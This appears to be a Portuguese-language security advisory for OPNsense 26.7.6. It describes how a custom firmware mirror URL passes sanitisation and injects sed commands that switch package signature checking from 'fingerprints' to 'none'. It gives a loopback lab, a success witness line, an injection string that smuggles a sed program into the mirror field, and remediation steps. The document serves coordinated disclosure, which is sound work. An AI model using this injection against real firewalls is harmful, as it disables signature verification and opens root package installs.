
OPNsense 26.7.6 - Alta - Remota - Privilégio remanescente - espelho de firmware personalizado sed ignora impressões digitais de pkg
abraxaslabs.tech · github.com/abraxas · @abraxas_null · [email protected] · opnsense-firmware-mirror-sed
Classe: Ignorar assinatura Alcance: Remoto
OPNsense core 26.7.6 (a842fe48) - opnsense.org
Sistema: Firmware set envia um mirror / flavour personalizado via POST. O core FILTER_SANITIZE_URL mantém \|#;". opnsense-update -m / -n interpola essa string em sed sobre OPNsense.conf e pode alterar signature_type de "fingerprints" para "none". Em seguida, pkg install como root a partir da URL do atacante. A página de configurações oferece um mirror personalizado de pacotes OPNsense ainda assinados. Ela não possui controle de "desativar assinaturas". O privilégio é page-system-firmware-manualupdate, não page-all.
O sed reside no opnsense-update, fora do pin. O core neste pin é o campo não sanitizado mais a passagem -m. O laboratório reexecuta esse texto de programa s||| com GNU sed.
Este pacote do GitHub permanece privado até a divulgação coordenada.
| ID | ainda sem CVE |
| Classe | Ignorar assinatura |
| Alcance | Remoto (WebGUI / API autenticada) |
| CWE | CWE-74 / CWE-347 |
| CVSS | Alto: 7.2 CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H |
| Produto | OPNsense core |
| Afetado | 26.7.6 (a842fe48c21288d11a422cb944678e8eb308becf) Firmware set mirror personalizado |
| Autenticação | Sessão WebGUI ou chave de API com page-system-firmware-manualupdate |
| Licença | GNU Affero GPL v3.0 |
| Laboratório | apenas 127.0.0.1 |
Fiz o pin da tag 26.7.6 peel a842fe48. O laboratório é um gadget PHP de FILTER_SANITIZE_URL mais o sed mod_mirrorurl do opnsense-update, HTTP em loopback em 127.0.0.1:18860. PR:H porque a página de firmware já tem permissão para instalar pacotes assinados. Pontuação 8.8 se essa página for tratada como PR:L.
| Método | Sink | Privilégio |
|---|---|---|
FILTER_SANITIZE_URL em um mirror personalizado com | e então sed no estilo opnsense-update | reescrita de OPNsense.conf | Integridade (comprovada em laboratório): signature_type "none". O mirror de controle permanece "fingerprints". Laboratório: sanitize-keeps-pipe=yes signature_type=none fingerprints-control=yes. |
| Mesmo conjunto, campo plugins | setAction descarta plugins | Negativo (comprovado em laboratório): plugins descartados antes de salvar. |
Em seguida POST /api/core/firmware/install/<pkg> | pkg install -y como root a partir da URL do atacante | Integridade (inferida): pacote não assinado como root. A página de firmware já instala pacotes assinados; esse resquício é a verificação ignorada. Nenhum payload não assinado no laboratório. |
Em seguida POST /api/core/firmware/update ou /upgrade | opnsense-update -pt / -u como root | Integridade (inferida): conjuntos base/kernel com verificação ignorada (DO_INSECURE). |
GET /api/core/firmware/info, /running, /upgradestatus | API de firmware | Recon (inferida): listas de pacotes, log de atualização, opções de mirror. Destinado a esta ACL. |
POST /api/core/firmware/reboot, /poweroff, /remove/<pkg> | ações de firmware do configd | Disponibilidade (inferida): reboot/halt/remove. Destinado a esta ACL, não ao resquício. |
Comprovado em laboratório vs inferido: sanitize mantém | e signature_type none são SUCCESS de laboratório. pkg install ao vivo de um pacote não assinado é inferido. Gadget, não uma VM FreeBSD completa do OPNsense. Nenhum payload de pacote não assinado.
Requer: usuário autenticado ou a chave de API Local desse usuário com page-system-firmware-manualupdate e sem page-all. CSRF em POST de sessão. Não é não autenticado. Não é apenas dashboard.
| Superfície | Laboratório |
|---|---|
| Firmware não autenticado | 401 |
| Apenas dashboard | 403 |
Mirror de controle https://pkg.opnsense.org | signature_type permanece "fingerprints" |
| Travessia de nome de plugin | filter_pkgname |
| Busca de changelog | ainda opnsense-verify |
user-config-readonly em save() | throwReadOnly() |
| Mirrors HTTP padrão sem ignorar verificação | MITM de transporte; fingerprints ainda exigidos |
| Firmware XMLRPC | apenas strings de versão |
Sem não autenticado. Sem apenas dashboard. Changelog ainda assinado.
cd lab
./run.sh
Loopback 127.0.0.1:18860. Projeto Compose opnsense-firmware-mirror-sed. Testemunha OPNSENSE-FIRMWARE-MIRROR-SED-WITNESS. Última linha:
SUCCESS opnsense-firmware-mirror-sed sanitize-keeps-pipe=yes signature_type=none fingerprints-control=yes OPNSENSE-FIRMWARE-MIRROR-SED-WITNESS
Lançador root: python3 opnsense-firmware-mirror-sed-Abraxas-Labs.py.
Formato do mirror de ataque usado no laboratório (apenas testemunha, sem pkg não assinado):
https://example.invalid/|;/signature_type/s/"fingerprints"/"none"/;#
Rejeitar um mirror personalizado que não seja uma URL. Remover metacaracteres de sed (|, ;, #, ") antes de opnsense-update -m / -n, ou passar a URL como arquivo para que o sed nunca a veja como texto de programa. Manter signature_type: "fingerprints" a menos que um controle separado e auditado desative a verificação. Não permitir que o Firmware set reescreva fingerprints para "none".
a842fe48c21288d11a422cb944678e8eb308becfFirmwareController.php setAction FILTER_SANITIZE_URLscripts/firmware/repos/OPNsense.php opnsense-update -sd -mOPNsense.conf.shadow.in padrão signature_type: "fingerprints"opnsense-update mod_mirrorurl (s\|\| na linha url:)